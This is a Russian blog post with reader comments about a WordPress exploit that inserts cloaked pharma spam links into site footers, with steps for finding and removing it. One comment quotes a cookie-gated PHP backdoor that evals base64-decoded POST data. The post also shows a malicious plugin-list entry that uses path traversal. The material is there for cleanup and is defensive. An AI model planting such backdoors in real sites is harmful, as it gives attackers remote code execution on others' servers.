wp_footer exploit, владельцам блогов на Wordpress
Мой блог стал пропадать из гугла, причиной оказался практически незаметный эксплойт для Wordpress. О том как узнать о нем, и избавиться от него, этот пост.
Чтобы узнать об этих граблях мне пришлось наступить на них. Это было больно, половина страниц моего блога ушла из индекса гугла. Надеюсь с вами этого не случится.
Что вообще происходит?
После определенных действий (о них ниже) на вашем блоге появляются рекламные ссылки на другой ресурс.
Однако видят их только поисковые боты. При обычном просмотре страничек вы не увидите их следа.
Я заметил их случайно, просматривая HTML закешированной главной странички моего блога, вот скриншот кода (внизу странички, после футера, очень много ссылок):
Куча спама в коде cssing’a
Или вот кусочек кода, чтобы было видно:
<div id="_wp_footer"><a href="http://www.articulate.com/blog/?page=0" title="Acyclovir">Acyclovir</a> <a href="http://www.articulate.com/blog/?page=1" title="Adderall">Adderall</a> <a href="http://www.articulate.com/blog/?page=2" title="Adipex">Adipex</a> <a href="http://www.articulate.com/blog/?page=3" title="Alprazolam">Alprazolam</a> <a href="http://www.articulate.com/blog/?page=4" title="Ambien">Ambien</a> ... и еще около 100 ссылок ...
Ссылки, конечно, могут быть и другие, но их будет очень много, и заметить их будет легко.
Обнаружить у себя этот спам очень просто:
- Вводим в google адрес своего блога
- Жмем на “cached” или “сохраненная копия”
- В своём броузере нажимаем “View Source” (просмотр исходного кода, или HTML-кода)
- В самом низу кода ищем огромный список левых ссылок (как показано выше на скриншоте, и в виде текста). Ссылки могут быть другие, но понять ваши они или нет, вы сможете легко.
Либо прописываем в фаерфоксе вместо User Agent - “Googlebot/2.1 (+http://www.googlebot.com/bot.html)”. Типа для продвинутых.
Cсылки вставляются с помощью функции wp_footer(). Потому для быстрого исправления, достаточно ее закомментировать в footer.php. (она редко кем используется)
Как это всё убрать
Так как у эксплойта есть несколько лазеек, нужно пробовать пока не получится.
Вот варианты:
1. Проверить .htaccess
В .htaccess возможны подозрительные редиректы. Обычно этот файл довольно маленький и без ссылок.
2. Проверить файлы внутри вашей темы
Проверить папку wp-content/wp-theme/YOUR_THEME/ на предмет подозрительных файлов. Например в некоторых случаях там появляется файл index2.php. Или еще что-то необычное.
3. Проверить папку wp-includes/
Искать нужно файл class-mail.php, если найдете:
compat.php — (необходимо заменить на корректный с wordpress.org)
class-mail.php — удалить.
4. Проверить файл wp-includes/default_filters.php
В файле default_filters.php поищите такую строку:
add_action('wp_footer','wpc7c16b8466d864eeefd20050625c7775');
Или похожие на нее. Они же могут вобщем-то быть в любых файлах.
5. Таблица wp_options
В базе данных следует обратить внимание на строку в таблице wp_options, где option_name=active_plugins. Там, в поле option_value вероятно могут находиться ссылки на вызываемый код, например так:
i:1;s:117:"../../../../../../../../../../../../../../../../../../../../../../tmp/tmpzv0zq2/sess_12d33bbd6fb1b4f67df11f089be43b20"; i:2;s:45:"../../wp-content/themes/cssing2/index_old.gif";
Не может не вызвать подозрения, неправда ли?
Обычно там что-то вроде этого:
i:6;s:25:"subscribe-to-comments.php";
Если у вас обнаружились похожие подозрительные значения в базе, скорее всего такой запрос вернет вам остатки эксплойта:
SELECT option_value FROM wp_options WHERE option_name = 'internal_links_cache'
Непосредственно в этом поле, у меня хранились ссылки выводимые поисковикам закодированные base64.
6. Проверить файлы *_new.giff *_old.pngg *_new.php, *_old.gif
В некоторых директориях инсталляции Wordpress могут появится файлы вроде index_old.gif, index_old.giff, whatever_new.php. И тому подобные. Их нужно обязательно удалить.
Файлы могут быть во всех директориях:
/wp-content/uploads
/wp-content/plugins
/wp-content/themes
/wp-includes
/wp-admins
/
7. Поиск ‘base64′ в тексте
В идеале лучше сделать поиск по всем файлам Вордпресса таких строк:
base64 (рядом с кучей непонятных символов) — рядом должно быть что-то вроде eval….
_wp_footer_ (в нормальном Wordpress не найдётся)
(или кусочки HTML, который выводит у вас СПАМ-ссылки)
Эти кусочки кода могут оказаться в почти любом файле Wordpress.
Каково! Куча вариантов на выбор, как вставить вам спам! Вот где смекалка сегодня работает!
Интересно так же, что все методы позволяют вам апгрейдить Wordpress. Обновляйте его хоть каждый день, если эксплойт прописан, он останется. Умные спаммеры.
Полезные ссылки
Без информации из этих ссылок, я бы просто не справился с атакой за 2 часа.
- Пошаговая инструкция по выявлению эксплойта в базе данных (очень полезно) и вся история обнаружения и исследования атаки
- Еще одна пошаговая инструкция к исправлению ситуации
- О том как один блоггер расследовал этот хак, и “нашел” ответственных.
- More Random WordPress Blogs (and Al Gore) Owned by SEO Spammers, еще одно небольшое расследование ситуации
- Файл index_old.gif, для тех кому интересен хакерский код
У меня оказалось следующее:
- wp-content/wp-theme/cssing/index_old.gif
- Записи в таблице wp_options, в полях описанных выше.
P.S.: Об истоках:
I also found a signature name alxumuk…
Все дорожки ведут к славянам…
На блоге Альберта Гора, кстати тоже был этот вид спама, один в один как на cssing. =).
Обновляйте wordpress почаще, и посматривайте не подцепили ли вы что-то вроде этого… Эксплойту, уверен, подвержено не так много сайтов, но лучше провериться.
Опыт, мысли, советы — приветствуются!
Хаха, красотища какая! :)
По поводу последнего совета. Вот такая строчка обнаружилась у меня в куче php-файлов. Жуть!
<?php if(md5($_COOKIE[’_wp_debugger’])==”92f0a7a5d33e5ccd708ec26d4225139d”){ eval(base64_decode($_POST[’file’])); exit; } ?>
Ну и wp_options тоже есть…
Да, у тебя там похоже даже в двух экземплярах эксплойт на блоге :).
Так что нужно все подчистить
Код удобный. Две строки и можно исполнять любой PHP на чужом сервере.
Значит я все это описывал не зря =) Пост окупился.
Советую против уязвимостей маленький плагин php-md5, который показывает в админке вносились ли изменения в файлы WP.
Спасибо! Отличный плагин!
Но в данном случае он бы не помог, ибо изменения в файлы не вносилишь, лишь добавился новый неВордпресс файл и запись в базе..
Коль пошла такая пьянка - минимальную проверку безопасности поможет выполнить плагин WP Security Scan http://semperfiwebdesign.com/plugins/wp-security-scan/
P.S. И спрятал бы ты версию блога из комментариев и meta generator. От уязвимостей необязательно спасёт, но редискам жизнь подпортит.
Владельцам Wordpress можно посоветовать только… Слезать нафиг с этого решета, зверски стирать его с винтов хостинга, и не юзать больше никогда.
;)
Боьшое спасибо, akella, сегодня ты как хороший доктор.
@Большой Лис
Wordpress не решето. Всякое бывает. Рано или поздно. С любой раскрученной софтиной. Или вы что-то лучшее предлагаете? Типа не дырявое ;-)
Как поймал экспойт?
ну вот =) уже два блога излечились! Супер.
@ Jevge: пока два варианта, либо мой запоздалый апдейт с 2.5 до 2.5.1 либо откуда-то слитые ФТП-доступы. Я слышал, на нескольких западных хостингах этот эксплойт продвинулся именно через украденные базы хостера с ФТП-аккаунтами клиентов.
В метаданных поставил себе версию wordpress 4.5. Пускай хакеры думают теперь :)
Вот жил же ж 2 года на wordpress 1.5, никакие эксплойты ее не брали :)
Аналогично, несколько лет ни “единого разрыва”… Так что не думаю, что это повод съезжать.
Юра, а посмотри-ка еще раз внимательно все мета-теги страницы. Хоть ты и заменил версию на 4.5, какой-то другой плагин все равно выдает настоящую версию, дублируя “generator”.
Рекомендую ознакомиться с моей статьей, там есть список очень полезных плагинов в плане безопасности.
Спасибо за полезный линк!
Но похоже спаммеры в курсе всех этих плагинов, насколько я понимаю, им (плагинам) не удалось бы обнаружить эту атаку. Все файлы остались неизменными, изменилась лишь база и тема…
Да и вообще я по жизни не люблю антивирусы и прочее :) Хотя и понимаю что иногда это чревато)
ИМХО, лучше использовать хоть что-то, чем совсем ничего. На 100% все равно никто не защищен.
Плюс значит нельзя сохранять пароли в программах, используемых для ФТП-доступа, раз ФТП тоже попал под подозрение.
[…] Юзерам WP полезно почитать о ссылочном спаме в вашем блоге и о том, как этого избежать.. […]
А как вообще враг пролез на хостинг?! Самое интересное, и не освещено…
Наиболее вероятно - незадокументированная и неизвестная дыра в Wordpress 2.5. Найти ее на данный момент очень сложно, учитывая что доступа к логам у меня сейчас нет.
Судя по тому, что “плагин” ложится в /tmp/sess*, они каким-то образом суют код в сессию. А вот как оно попадает список активированных плагинов, а главное, какого лешего вордпрессовцы делают include записи в базе, не проверяя, что они включают - это загадка. У себя уже влепил проверку, что плагин лежит в каталоге плагинов, но до сих пор пребываю в шоке…
У меня был тот же эксплойт. По-другому проявлял себя. Обеспечил неделю веселого досуга :) Пришлось перелезать с 1.5 на последнюю версию.
[…] читаем статью на сайте Юрия […]
Эксплойт есть :( Пошагово проверил все, о чем написано в этой статье - все чисто, и это еще хуже. Насчет “дыры” в 2.5 - скорее всего дыра была и в более ранних версиях, потому что у меня более ранняя.
Решит ли проблему апгрейд до 2.5.1?
Даже в базе нет ничего? В wp_options?
В таком случае у тебя совершенно точно должен был появится левый файл где-то в папках wordpress. Нужно проверить по датам, у всех должны быть одинаковые, а у него будет отличаться. В папке темы все файлы просмотрел?
Мда, xss убили, но тут еще одна бяка вылезла, сейчас шустро проверила свой сайт на ВП, у меня все чисто, пока что не зацепило. Но страничку занеслав избранное, мало ли что случится, спасибо!
Защититься на 100% от этого не возможно, вовремя обновляйтесь и не ставьте “левых” плагинов (из неизвестных источников) это поможет хотя бы немного…
Dmytro Shteflyuk надо было посмотреть дату модификации файлов, а потом прошерстить логи на предмет необычных записей (XSS или инъекций) это могло бы пролить свет на то как они туда попали, а в последствии и заделки дыры, а если просто удалить эти строки то их потом зальют снова и всё…
Так это все темы. Ради этого и делается тысячи бесплатных тем, я всегда вырезал все такое Г сразу же как только оставлял какую либо тему. Это есть почти во всех фри темах.
@Vladimir
Очень похоже на мою ситуацию
Афигеть, и не догадаешься, если случайно не наткнешься на такое!
Кстати о безопасности, для того, чтобы спокойно спать я на все ВП обязательно ставлю 3 плагина:
anti xss attak
http://mywordpress.ru/plugins/belavir/
и новенький http://blog.portal.kharkov.ua/2008/05/21/iodized_salt/
>>> для того, чтобы спокойно спать
Для этого надо ничего не делать, и не иметь ни сайта ни даже домашнего компьютера (если есть сайт и есть финансово заинтересованные во взломе стороны то его ломанут не смотря ни на что)
Vladson, понятно, что кругом враги, но размышляя таким образом, можно сразу собираться умирать — жить тоже опасно :) Уж лучше перебдеть, чем недобдеть.
Просто доверять всяким анти-XSS я бы не стал (наоборот я им не доверяю) уж лучше просто своевременно обновляться, или если уж действительно нужна безопасность то нанять опытного специалиста на обслуживание сайта.
[…] Я заметил их случайно, просматривая HTML закешированной главной странички моего блога, вот скриншот кода (внизу странички, после футера, очень много ссылок) Дальше […]
По моему опыту, очень часто иньекции бывают от неправильной расстановки прав доступа. А эта самая неправильная расстановка часто бывает от заливания файлов по FTP на хостинг из Windows, которая в этих самых правах доступа не сильна.
Ай, да спамеры, ай да сукины дети :)) Это же надо так замаскироваться. Класс.
Автору благодарность за описание сплоита.
Да спамеры они такие! Молодец автор, респект пожизнено.
По идее нет ничего неломаемого, это уже не спамерство, это взлом, почти наказуемое дело, если найдешь кто это сделал. Но жадность непонятна, ведь достаточно одно ссылки, а тут около сотни, была бы одна - автор бы не заметил ее совсем.
Кстати, да. Как минимум в Украине, несанкционированное внесение изменений в код, находящийся в чужой частной сети - уголовно наказуемое деяние, статья №361, часть вторая, от 3 до 6 лет
http://www.crime.org.ua/osobliva/16/
В России тоже наказуемо, и в Эстонии тоже (вообще скорее всего везде) просто найти нарушителя нереально (найти его обязаны менты, а они этим заниматься не будут, ибо лень…)
Полезнейший пост!
Не придавал этому ранее значения. У меня с футером пока что всё в норме :)
Как только представил СКОЛЬКО различных возможностей “подмены” футеры существует в ворпрессе и уследишь за всеми ведь…
Хорошая инфа, будем думать.
Любопытно! У меня такого не было…
Я кстати так и не понял из-за чего!?
“В России тоже наказуемо, и в Эстонии тоже (вообще скорее всего везде) просто найти нарушителя нереально (найти его обязаны менты, а они этим заниматься не будут, ибо лень…)”
Ну почемуже вы так говорите ? вы обращались ?
/Ну почемуже вы так говорите ? вы обращались ?/
1 - говорю так потому что меня пытались подставить (все видимые факты указывали на меня)
2 - не обращался (за это должны были вообще сразу посадить, укрывательство тоже уголовно наказуемо)
/укрывательство/
Правда тут ещё надо доказать знал ли я что вообще происходит, но если бы менты хотя бы начали разбираться я бы как минимум до суда просидел в кутузке…
/в Украине … статья №361/
В России 272 (или 273 точно не помню), а в Эстонии не знаю, но знаю что такая статья есть
Знаю точно одно, никто этим заниматься не будет (просто потому что лень)
Век живи, век учись:)).
просмотрел подвал своего блога - бякинет! Хоть это радует.
[…] Источник […]
Akella, не поможет мало-мальски опытному взломщику изменение метеданных о версии блога. Простой пример. Зайдите на страницу wp-login.php, просмотрите код. Там будет нечто вида /wp-admin/css/login.css?version=2.5
Или: wp-includes/js/tinymce/tiny_mce.js; там видно, что версия TinyMCE - 3.06, что соответствует WP 2.5+.
По поводу безопасности: не используйте FTP, SSH гораздо безопаснее. Если вы не планируете менять файл, ставьте ему атрибуты 0444 - чтобы всякая гадость себя туда не писала (хоть WP и говорит, что всё внутри wp-content должно быть записываемо, это потенциальная дыра). Надо обновить плагин - закачайте ручками, не используйте автообновление.
Удобство и безопасность - два разных полюса :)
Всё проще - WordPress не свои темы не обновляет.
Господа юристы, это всё в теории. На практике это очень трудно доказать.
Akella, такой вопрос: вы могли подхватить заразу, сидя на WP 2.3? Если да, то я знаю, как она пришла.
Не совсем так, просто эксплойт хранился в базе, и в отдельном файле. При обновлении версий вордпресса база не изменяется, как и невордпресс файлы. Ну и конечно темы тоже.
У меня не стояло 2.3. Но узнать было бы конечно интересно! Из старых у меня стояли только 1.5 и 2.5.
2.5 я на уязвимости не исследовал, ничего сказать не могу… А в ветке 2.3 существовали уязвимости, благодаря которым можно получить доступ в админку сайта (необходимые данные воруются при помощи пары атак с SQL injection, после чего в два запроса подделываются авторизационные cookie). Если тема доступна на запись Вордпрессу, туда можно напихать всякие гадости.
Я слышал краем уха про какую-то жуткую дыру в 2.5 (которую в 2.5.1 поправили), но не было времени проверять.
Очень интересно хочется узнать об этом побольше.
Ого, понапугали меня, недавно начал с вордпрессом работать, а тут такая информация вылазиет, сейчас на все файлы темы вордпресса права поменяю, ссылки это фигня, но еще нехватало чтобы еще и пароль от админки сперли.Спасибо за предостережение!
[…] Владельцев блогов на движке WordPress заинтересует статья об оптимизации поискового веса вашего блога, который может быть существенно подорван генерированием невидимых ссылок эксплоитом в БД. wp_footer exploit. […]
Рекомендую поставить плагин Anri-XSS он поможет в большинстве случаев :).
Основной дырой является то, что админ авторизован в своем блоге и вход не требует логина/пароля, следовательно можно делать все что хочешь.
@Большой Лис.
Даже правильно сконфигурированный Windows может эффективно закрыть свои дыры :)
Михаил, то, что делает AntiXSS, WordPress еще умеет с версии 2.0.3. Тем более, что плагин борется не с XSS, а с CSRF, что, в принципе, довольно-таки разные вещи :-)
А возможность XSS-атак “произростает”, в основном, из всяких дыр в темах и сторонних плагинах.
По поводу “основной дыры” могу лишь посоветовать прочитать про nonce и ее реализацию в WordPress. Или могу предложить спор ($500 пойдет?): я не буду выходить из админки блога, а Вы попробуете “состряпать” запрос, который создаст пользователя с админскими правами.
[…] исправления, достаточно ее закомментировать в footer.php. cssing :: Архив :: wp_footer exploit, владельцам блогов на Wordpress Wordpress 2.3.3 […]
Dimox, Akella
вот это:
прописывает в head шаблонов сам WordPress с помощью ф-ции wp_head для которой нет фильтров.
Теперь строку “leave this for stats” так просто из шаблона не вырежешь и не поменяешь :)
Прикольно в комментариях спампарампампам спамится :D
wp_footer exploit, владельцам блогов на Wordpress…
wp_footer exploit, владельцам блогов на Wordpress
Мой блог стал пропадать из гугла, причиной оказался практически незаметный эксплойт для Wordpress. О том как узнать о нем, и избавиться от него, этот пост.
Чтобы узнать об этих граблях мне пришлось нас…
fixed, огромный респект тебе чувак.
Коллеги, а как расшифровать эту шнягу? У меня в футере этим кодом закрыты четыре ссылки автора. Мне сами ссылки по барабану, но шифровка не нравится. В Пыхе не силён. Помогите советом или ссылочкой. Спасибо.
Сергей, если Вы запостите шифровку, могу помочь. Или мылом на vladimir at sjinks dot org dot ua.
PS - а ссылки всё равно лучше убрать :-)
http://webcontext.ru/wp-content/uploads/2008/07/footer.rar
Футер именно этого сайта. Ссылку одну оставлю. Автор у темы должен быть (хотя намучался я с локализацией …). Одну оставлю на Автора, другую на Вас.
Ппц, а не футер… 70 раз gzdeflate/base64_encode… И все ради четырёх ссылок в футере. Автор мазохист. Причем зашифрован был HTML, а не PHP.
http://download.sjinks.org.ua:8080/footer.txt - код, получившийся после расшифровки.
Сергей, если хотите сослаться на меня - большое спасибо, но если можно, то ссылайтесь, пожалуйста, на статью, посвященную расшифрованию футеров (она еще не готова, но скоро будет) - думаю, от такой ссылки будет больше пользы :-)
Не ожидал такой оперативности, да ещё и среди ночи. С пхп-скобками отказался работать. Я их убрал - всё встало на свои места. Благодарю.
Только сейчас дошло: если бы я просто поставил в пару “див” какой-то текст, футер что - отказался бы появляться? Там именно четыре пустых контейнера должны стоять сначала?
:-) Если программист в 9 утра на работе, это значит, что он еще не ушел.
Текст, который я привел - это результат работы того дикого кода в архиве. Если был нужен только HTML, то скобки, действительно, нужно было убрать.
Про четыре пустых контейнера не совсем понял. Зашифрованый PHP-код их сам выводит. То есть для того, чтобы в них что-то вставить, Вам бы пришлось сначала расшифровать файл. А футер появляется потому, что в файлах темы есть строка вида <?php get_footer(); ?>, которая и подключает файл footer.php. Если Вы ее уберете, то и футера не будет.
[…] Дейла, которые приходят людям на помощь: сначала нашли обсуждение темы “эксплойт в ВордПресс”, затем в этой теме […]
[…] блогам двух специалистов по ВордПресс: CSSing и Ars Longa Vita Brevis. Благодаря их профессионализму нам […]
Хотела сказать Большое Спасибо Автору. Инфорация на самом деле очень ценная, я даже это и не предполагала.
[…] Владельцы wordpress’a проверьтесь, говорят существует exploit. […]
Огромное спасибо автору, в своей теме нашел зашифрованные ссылки, слава богу вовремя убрал :) Ещё раз большое спс))
так я все-таки не понял - каким образом был подцеплен эксплойт? одно дело дыра в безопасности wordpress и совсем другое украденные базы паролей хостеров.
Думаю дыра в WP, я не обновляю обычно до последних версий движок.
Недавно, на одном из сайтов на движке WPm нашел кучу ссылок в футере. Удалил ссылки и обновился. Пока тихо.
Но вот варианты с куками и прочее еще не попадалось, но настораживает…
[…] здесь товарищ рассказывает и показывает. Правда, весь […]
По поводу безопасности сказать могу лишь одно: закройте доступ записи в файл. Это сделать просто в файловом менеджере, выставив метку 644.
А кусок кода, зашифрованный с помощью base64 элементарная защита автора шаблона от изменений. Обычно находится в foother.php, где автор ставит ссылки на свои ресурсы.